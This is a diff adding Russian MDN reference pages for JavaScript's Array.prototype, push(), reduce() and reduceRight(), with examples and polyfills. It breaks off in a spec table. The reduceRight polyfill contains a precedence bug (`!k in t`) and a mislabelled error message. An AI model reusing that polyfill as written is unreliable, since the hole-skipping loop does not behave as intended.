+ <dd>Возвращает <code>true</code>, если каждый элемент в массиве удовлетворяет условию проверяющей функции.</dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>Возвращает <code>true</code>, если хотя бы один элемент в массиве удовлетворяет условию проверяющей функции.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>Создаёт новый массив со всеми элементами этого массива, для которых функция фильтрации возвращает <code>true</code>.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает искомое значение в массиве, если элемент в массиве удовлетворяет условию проверяющей функции или {{jsxref("Global_Objects/undefined", "undefined")}}, если такое значение не найдено.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает искомый индекс в массиве, если элемент в массиве удовлетворяет условию проверяющей функции или -1, если такое значение не найдено.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает новый итератор массива, содержащий ключи каждого индекса в массиве.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>Создаёт новый массив с результатами вызова указанной функции на каждом элементе данного массива.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd>Применяет функцию к аккумулятору и каждому значению массива (слева-направо), сводя его к одному значению.</dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd>Применяет функцию к аккумулятору и каждому значению массива (справа-налево), сводя его к одному значению.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает новый объект итератора массива <code>Array Iterator</code>, содержащий значения для каждого индекса в массиве.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает новый объект итератора массива <code>Array Iterator</code>, содержащий значения для каждого индекса в массиве.</dd>
+</dl>
+
+<h3 id="Generic_methods" name="Generic_methods">Общие методы</h3>
+
+<p>Многие методы JavaScript-массива спроектированы таким образом, чтобы иметь возможность применяться ко всем объектам, «выглядящим похоже» на массивы. То есть, они могут использоваться на любом объекте, имеющим свойство <code>length</code> и к элементам которого можно получить доступ через числовые имена свойств (как при индексации: <code>array[5]</code>). <span class="comment">TODO: предоставить примеры с Array.prototype.forEach.call и добавлением методов к объекту, как сделано для {{jsxref("Global_Objects/JavaArray", "JavaArray")}} или {{jsxref("Global_Objects/String", "String")}}.</span> Некоторые методы, например {{jsxref("Array.join", "join")}}, только читают свойство <code>length</code> и числовые свойства объекта, на котором они вызываются. Другие, вроде {{jsxref("Array.reverse", "reverse")}} требуют, чтобы числовые свойства и свойство <code>length</code> объекта были изменяемыми; эти методы не могут вызываться на объектах вроде {{jsxref("Global_Objects/String", "String")}}, которые не позволяют установку своего свойства <code>length</code> или синтезирование числовых свойств.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Array.prototype")}}</p>
+
+<p> </p>
+
+<div> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/push/index.html b/files/ru/web/javascript/reference/global_objects/array/push/index.html
new file mode 100644
index 0000000000..d746b2cd88
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/push/index.html
@@ -0,0 +1,111 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Global_Objects/Array/push
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>push()</strong></code> добавляет один или более элементов в конец массива и возвращает новую длину массива.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1</var>, ..., <var>elementN</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Элементы, добавляемые в конец массива.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Новое значение свойства {{jsxref("Array.length", "length")}} объекта, для которого был вызван данный метод.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>push</code> присоединяет значения к массиву.</p>
+
+<p>Метод <code>push</code> не является привязанным к типу; этот метод может быть {{jsxref("Function.call", "вызван", "", 1)}} или {{jsxref("Function.apply", "применён", "", 1)}} к объектам, напоминающим массив. Метод опирается на свойство <code>length</code> для определения места вставки значений. Если свойство <code>length</code> не может быть преобразовано в число, будет использовать индекс 0. Сюда входит случай несуществования свойства <code>length</code>, в этом случае оно также будет создано.</p>
+
+<p>Единственными родными массивоподобными объектами являются {{jsxref("Global_Objects/String", "строки", "", 1)}}, хотя к ним он не может быть применён, поскольку строки являются неизменяемыми.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Adding_elements_to_an_array" name="Example:_Adding_elements_to_an_array">Пример: добавление элементов в массив</h3>
+
+<p>Следующий код создаёт массив <code>sports</code>, содержащий два элемента, а затем добавляет к нему ещё два элемента. Переменная <code>total</code> будет содержать новую длину массива.</p>
+
+<pre class="brush: js">var sports = ['футбол', 'бейсбол'];
+var total = sports.push('американский футбол', 'плавание');
+
+console.log(sports); // ['футбол', 'бейсбол', 'американский футбол', 'плавание']
+console.log(total);  // 4
+</pre>
+
+<h3 id="Example_Merging_two_arrays" name="Example:_Merging_two_arrays">Пример: слияние двух массивов</h3>
+
+<p>В этом примере используется функция {{jsxref("Function.apply", "apply()")}} для помещения всех элементов из второго массива в первый.</p>
+
+<pre class="brush: js">var vegetables = ['пастернак', 'картошка'];
+var moreVegs = ['сельдерей', 'свёкла'];
+
+// Сливает второй массив с первым
+// Эквивалентно вызову vegetables.push('сельдерей', 'свёкла');
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['пастернак', 'картошка', 'сельдерей', 'свёкла']
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+</div>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
new file mode 100644
index 0000000000..b65fb98ed4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
@@ -0,0 +1,314 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>reduce()</strong></code> применяет функцию <strong>reducer</strong> к каждому элементу массива (слева-направо), возвращая одно результирующее значение.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>array</var>.reduce(<var>callback</var>[, <var>initialValue</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, выполняющаяся для каждого элемента массива, принимает четыре аргумента:
+ <dl>
+  <dt><code>accumulator</code></dt>
+  <dd>Аккумулятор, аккумулирующий значение, которое возвращает функция <strong>callback </strong>после посещения очередного элемента, либо значение <code>initialValue</code>, если оно предоставлено (смотрите пояснения ниже).</dd>
+  <dt><code>currentValue</code></dt>
+  <dd>Текущий обрабатываемый элемент массива.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента массива.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Массив, для которого была вызвана функция <code>reduce</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code>{{optional_inline}}</dt>
+ <dd>Необязательный параметр. Объект, используемый в качестве первого аргумента при первом вызове функции <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>reduce()</code> выполняет функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве, за исключением пустот, принимая четыре аргумента: начальное значение (или значение от предыдущего вызова <code>callback</code>), значение текущего элемента, текущий индекс и массив, по которому происходит итерация.</p>
+
+<p>При первом вызове функции, параметры <code>accumulator</code> и <code>currentValue</code> могут принимать одно из двух значений. Если при вызове <code>reduce()</code> передан аргумент <code>initialValue</code>, то значение <code>accumulator</code> будет равным значению <code>initialValue</code>, а значение <code>currentValue</code> будет равным первому значению в массиве. Если аргумент <code>initialValue</code> не задан, то значение <code>accumulator</code> будет равным первому значению в массиве, а значение <code>currentValue</code> будет равным второму значению в массиве.</p>
+
+<p>Если массив пустой и аргумент <code>initialValue</code> не указан, будет брошено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Если массив состоит только из одного элемента (независимо от его положения в массиве) и аргумент <code>initialValue</code> не указан, или если аргумент <code>initialValue</code> указан, но массив пустой, то будет возвращено одно это значение, без вызова функции <code>callback</code>.</p>
+
+<p>Предположим, что <code>reduce()</code> используется следующим образом:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+});
+</pre>
+
+<p>Функция обратного вызова будет вызвана четыре раза, аргументы и возвращаемое значение при каждом вызове будут следующими:</p>
+
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col"><code>previousValue</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">возвращаемое значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">первый вызов</th>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">второй вызов</th>
+   <td><code>1</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <th scope="row">третий вызов</th>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <th scope="row">четвёртый вызов</th>
+   <td><code>6</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Значение, возвращённое методом <code>reduce()</code> будет равным последнему результату выполнения функции обратного вызова (<code>10</code>).</p>
+
+<p>Если же вы зададите начальное значение <code>initialValue</code>, результат будет выглядеть так:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, index, array) {
+  return accumulator + currentValue;
+}, 10);
+</pre>
+
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">возвращаемое значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">первый вызов</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">второй вызов</th>
+   <td><code>10</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <th scope="row">третий вызов</th>
+   <td><code>11</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>13</code></td>
+  </tr>
+  <tr>
+   <th scope="row">четвёртый вызов</th>
+   <td><code>13</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <th scope="row">пятый вызов</th>
+   <td><code>16</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Значение, возвращённое методом <code>reduce()</code> на этот раз, конечно же, будет равным <code>20</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Sum_up_all_values_within_an_array" name="Example:_Sum_up_all_values_within_an_array">Суммирование всех значений в массиве</h3>
+
+<pre class="brush: js">var total = [0, 1, 2, 3].reduce(function(a, b) {
+  return a + b;
+});
+// total == 6
+</pre>
+
+<h3 id="Суммирование_значений_в_массиве_объектов">Суммирование значений в массиве объектов</h3>
+
+<p>Чтобы суммировать значения, содержащиеся в массиве объектов, вы <strong>должны</strong> указать <code>initialValue</code>, чтобы каждый элемент смог пройти через <code>callback</code>.</p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulator, currentValue) {
+    return accumulator + currentValue.x;
+}, initialValue)
+// sum == 6
+</pre>
+
+<p>Тоже самое, но со стрелочной функцией: </p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(
+    (accumulator, currentValue) =&gt; accumulator + currentValue.x,
+    initialValue
+);
+// sum == 6
+</pre>
+
+<h3 id="Example_Flatten_an_array_of_arrays" name="Example:_Flatten_an_array_of_arrays">Разворачивание массива массивов</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
+  return a.concat(b);
+});
+// flattened равен [0, 1, 2, 3, 4, 5]
+</pre>
+
+<h3 id="Example_Flatten_an_array_of_arrays" name="Example:_Flatten_an_array_of_arrays">Пример: склеивание массивов, содержащихся в объектах массива, с использованием оператора расширения и initialValue</h3>
+
+<pre class="brush: js">// friends - список из объектов(друзей)
+// где поле "books" - список любимых книг друга
+var friends = [
+{ name: "Anna", books: ["Bible", "Harry Potter"], age: 21 },
+{ name: "Bob", books: ["War and peace", "Romeo and Juliet"], age: 26 },
+{ name: "Alice", books: ["The Lord of the Rings", "The Shining"], age: 18 }
+]
+
+// allbooks - список, который будет содержать все книги друзей +
+// дополнительный список указанный в initialValue
+var allbooks = friends.reduce(function(prev, curr) {
+  return [...prev, ...curr.books];
+}, ["Alphabet"]);
+
+// allbooks = ["Alphabet", "Bible", "Harry Potter", "War and peace",
+// "Romeo and Juliet", "The Lord of the Rings", "The Shining"]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>Array.prototype.reduce()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>reduce()</code> в реализациях, которые не поддерживают этот метод.</p>
+
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.21
+// Ссылка (en): http://es5.github.io/#x15.4.4.21
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.21
+if (!Array.prototype.reduce) {
+  Array.prototype.reduce = function(callback/*, initialValue*/) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('Array.prototype.reduce called on null or undefined');
+    }
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+    var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = 0, value;
+    if (arguments.length &gt;= 2) {
+      value = arguments[1];
+    } else {
+      while (k &lt; len &amp;&amp; ! (k in t)) {
+        k++;
+      }
+      if (k &gt;= len) {
+        throw new TypeError('Reduce of empty array with no initial value');
+      }
+      value = t[k++];
+    }
+    for (; k &lt; len; k++) {
+      if (k in t) {
+        value = callback(value, t[k], k, t);
+      }
+    }
+    return value;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/reduceright/index.html b/files/ru/web/javascript/reference/global_objects/array/reduceright/index.html
new file mode 100644
index 0000000000..08bb7e978d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/reduceright/index.html
@@ -0,0 +1,290 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reduceRight
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>reduceRight()</strong></code> применяет функцию к аккумулятору и каждому значению массива (справа-налево), сводя его к одному значению.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>arr</var>.reduceRight(<var>callback</var>[, <var>initialValue</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Функция, выполняющаяся для каждого элемента массива, принимает четыре аргумента:
+  <dl>
+   <dt><code>previousValue</code></dt>
+   <dd>Значение, возвращённое предыдущим выполнением функции <code>callback</code>, либо значение <code>initialValue</code>, если оно предоставлено (смотрите пояснения ниже).</dd>
+   <dt><code>currentValue</code></dt>
+   <dd>Текущий обрабатываемый элемент массива.</dd>
+   <dt><code>index</code></dt>
+   <dd>Индекс текущего обрабатываемого элемента массива.</dd>
+   <dt><code>array</code></dt>
+   <dd>Массив, для которого была вызвана функция <code>reduceRight</code>.</dd>
+  </dl>
+ </dd>
+ <dt><code>initialValue</code></dt>
+ <dd>Необязательный параметр. Объект, используемый в качестве первого аргумента при первом вызове функции <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>reduceRight()</code> выполняет функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве, за исключением пустот, принимая четыре аргумента: начальное значение (или значение от предыдущего вызова <code>callback</code>), значение текущего элемента, текущий индекс и массив, по которому происходит итерация.</p>
+<p>Вызов функции обратного вызова <code>callback</code> будет выглядеть так:</p>
+<pre class="brush: js">array.reduceRight(function(previousValue, currentValue, index, array) {
+  // ...
+});
+</pre>
+<p>При первом вызове функции, параметры <code>previousValue</code> и <code>currentValue</code> могут принимать одно из двух значений. Если при вызове <code>reduceRight()</code> передан аргумент <code>initialValue</code>, то значение <code>previousValue</code> будет равным значению <code>initialValue</code>, а значение <code>currentValue</code> будет равным последнему значению в массиве. Если аргумент <code>initialValue</code> не задан, то значение <code>previousValue</code> будет равным последнему значению в массиве, а значение <code>currentValue</code> будет равным второму с конца значению в массиве.</p>
+<p>Если массив пустой и аргумент <code>initialValue</code> не указан, будет брошено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Если массив состоит только из одного элемента (независимо от его положения в массиве) и аргумент <code>initialValue</code> не указан, или если аргумент <code>initialValue</code> указан, но массив пустой, то будет возвращено одно это значение, без вызова функции <code>callback</code>.</p>
+<p>Вот так будут выглядеть некоторый примеры прогона функции:</p>
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+});
+</pre>
+<p>Функция обратного вызова будет вызвана четыре раза, аргументы и возвращаемое значение при каждом вызове будут следующими:</p>
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col"><code>previousValue</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">возвращаемое значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">первый вызов</th>
+   <td><code>4</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <th scope="row">второй вызов</th>
+   <td><code>7</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <th scope="row">третий вызов</th>
+   <td><code>9</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">четвёртый вызов</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+<p>Значение, возвращённое методом <code>reduceRight()</code> будет равным последнему результату выполнения функции обратного вызова (<code>10</code>).</p>
+<p>Если же вы зададите начальное значение <code>initialValue</code>, результат будет выглядеть так:</p>
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+}, 10);
+</pre>
+<table style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col"><code>previousValue</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">возвращаемое значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">первый вызов</th>
+   <td><code>10</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>14</code></td>
+  </tr>
+  <tr>
+   <th scope="row">второй вызов</th>
+   <td><code>14</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>17</code></td>
+  </tr>
+  <tr>
+   <th scope="row">третий вызов</th>
+   <td><code>17</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>19</code></td>
+  </tr>
+  <tr>
+   <th scope="row">четвёртый вызов</th>
+   <td><code>19</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+  <tr>
+   <th scope="row">пятый вызов</th>
+   <td><code>20</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+<p>Значение, возвращённое методом <code>reduceRight()</code> на этот раз, конечно же, будет равным <code>20</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Sum_up_all_values_within_an_array" name="Example:_Sum_up_all_values_within_an_array">Пример: суммирование всех значений в массиве</h3>
+<pre class="brush: js">var total = [0, 1, 2, 3].reduceRight(function(a, b) {
+  return a + b;
+});
+// total == 6
+</pre>
+
+<h3 id="Example:_Flatten_an_array_of_arrays" name="Example:_Flatten_an_array_of_arrays">Пример: разворачивание массива массивов</h3>
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+  return a.concat(b);
+}, []);
+// flattened равен [4, 5, 2, 3, 0, 1]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+<p>Метод <code>Array.prototype.reduceRight()</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>reduceRight()</code> в реализациях, которые не поддерживают этот метод.</p>
+<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.22
+// Ссылка (en): http://es5.github.io/#x15.4.4.22
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.22
+if ('function' !== typeof Array.prototype.reduceRight) {
+  Array.prototype.reduceRight = function(callback/*, initialValue*/) {
+    'use strict';
+    if (null === this || 'undefined' === typeof this) {
+      throw new TypeError('Array.prototype.reduce called on null or undefined');
+    }
+    if ('function' !== typeof callback) {
+      throw new TypeError(callback + ' is not a function');
+    }
+    var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = len - 1, value;
+    if (arguments.length &gt;= 2) {
+      value = arguments[1];
+    } else {
+      while (k &gt;= 0 &amp;&amp; !k in t) {
+        k--;
+      }
+      if (k &lt; 0) {
+        throw new TypeError('Reduce of empty array with no initial value');
+      }
+      value = t[k--];
+    }
+    for (; k &gt;= 0; k--) {
+      if (k in t) {
+        value = callback(value, t[k], k, t);
+      }
+    }
+    return value;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}</td>
